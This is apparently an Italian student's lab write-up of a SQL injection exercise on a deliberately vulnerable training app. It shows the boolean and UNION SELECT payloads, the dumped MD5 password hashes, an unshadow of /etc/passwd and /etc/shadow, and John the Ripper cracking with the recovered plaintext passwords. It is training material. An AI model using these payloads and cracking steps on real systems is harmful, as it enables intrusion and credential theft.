

vulnerability: SQL injection

User ID:

Submit

ID: % 'OR '1'='1
First name: admin
Surname: admin

ID: % 'OR '1'='1
First name: Gordon
Surname: Brown

ID: % 'OR '1'='1
First name: Hack
Surname: Me

ID: % 'OR '1'='1
First name: Pablo
Surname: Picasso

ID: % 'OR '1'='1
First name: Bob
Surname: Smith

vulnerability: SQL injection

User ID:

Submit

ID: 3' and 1=0 union select null,concat(first_name,0x0a,password) from users#
First name:
Surname: admin
5f4dcc3b5aa765d61d8327deb882cf99

ID: 3' and 1=0 union select null,concat(first_name,0x0a,password) from users#
First name:
Surname: Gordon
e99a18c428cb38d5f260853678922e03

ID: 3' and 1=0 union select null,concat(first_name,0x0a,password) from users#
First name:
Surname: Hack
8d3533d75ae2c3966d7e0d4fcc69216b

ID: 3' and 1=0 union select null,concat(first_name,0x0a,password) from users#
First name:
Surname: Pablo
0d107d09f5bbe40cade3de5c71e9e9b7

ID: 3' and 1=0 union select null,concat(first_name,0x0a,password) from users#
First name:
Surname: Bob
5f4dcc3b5aa765d61d8327deb882cf99

Ricapitolando, questi sono i passaggi dell'attacco sql injection avvenuto ieri. Con l'affermazione sempre vera booleana ho trovato first name e username degli utenti registrati, poi provando con il comando dopo ho trovato tutti gli username e le password.

```
File Azioni Modifica Visualizza Aiuto
GNU nano 7.2
admin:5f4dcc3b5aa765d61d8327deb882cf99
Gordon:e99a18c428cb38d5f260853678922e03
Hack:8d3533d75ae2c3966d7e0d4fcc69216b
Pablo:0d107d09f5bbe40cade3de5c71e9e9b7
Bob:5f4dcc3b5aa765d61d8327deb882cf99
```

Poi ho copiato tutti gli utenti con le password cifrate in un file chiamato password.txt.

```
(alessio@kali)-[/usr/share/wordlists]
$ ls
amass dirb dirbuster fasttrack.txt fern-wifi john.lst legion metasploit nmap.lst rockyou.txt.gz sqlmap.txt wfuzz wifite.txt
(alessio@kali)-[/usr/share/wordlists]
$ nano rockyou.txt.gz
```

Poi per curiosità sono andato a vedere questo file presente in kali contenente una quantità gigantesca di password comuni cifrate.

```
(alessio@kali)-[~]
$ sudo unshadow /etc/passwd /etc/shadow > hashes
[sudo] password di alessio:
Created directory: /root/.john
```

Qui ho unito i due file già contenuti in kali contenenti login e password in un unico file.

Poi ho creato il file con permessi da root "password1.txt" con tutte le password cifrate con l'attacco sql injection ed ho lanciato il comando e me ne ha trovate solo 3:

```
(alessio@kali)-[~]
$ sudo john --format=raw-md5 --wordlist= hashes password1.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 128/128 AVX 4x3])
Proceeding with wordlist:/usr/share/john/password.lst
Press 'q' or Ctrl-C to abort, almost any other key for status
password:139411 (admin)
abc123:139411 (Gordon)
letmein:139411 (Pablo)
3g 0:00:00:00 DONE (2023-03-01 16:22) 150.0g/s 177300p/s 177300c/s 206100C/s !@#$$%..sss
Warning: passwords printed above might not be all those cracked
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```

La 4 non me l'ha trovata ed è quella di Bob che ha la stessa password di admin: "password".

8d3533d75ae2c3966d7e0d4fcc69216b	md5	charley
----------------------------------	-----	---------

L'ultima password, di hack, l'ho trovata con il tool che si trova online chiamato CrackStation.

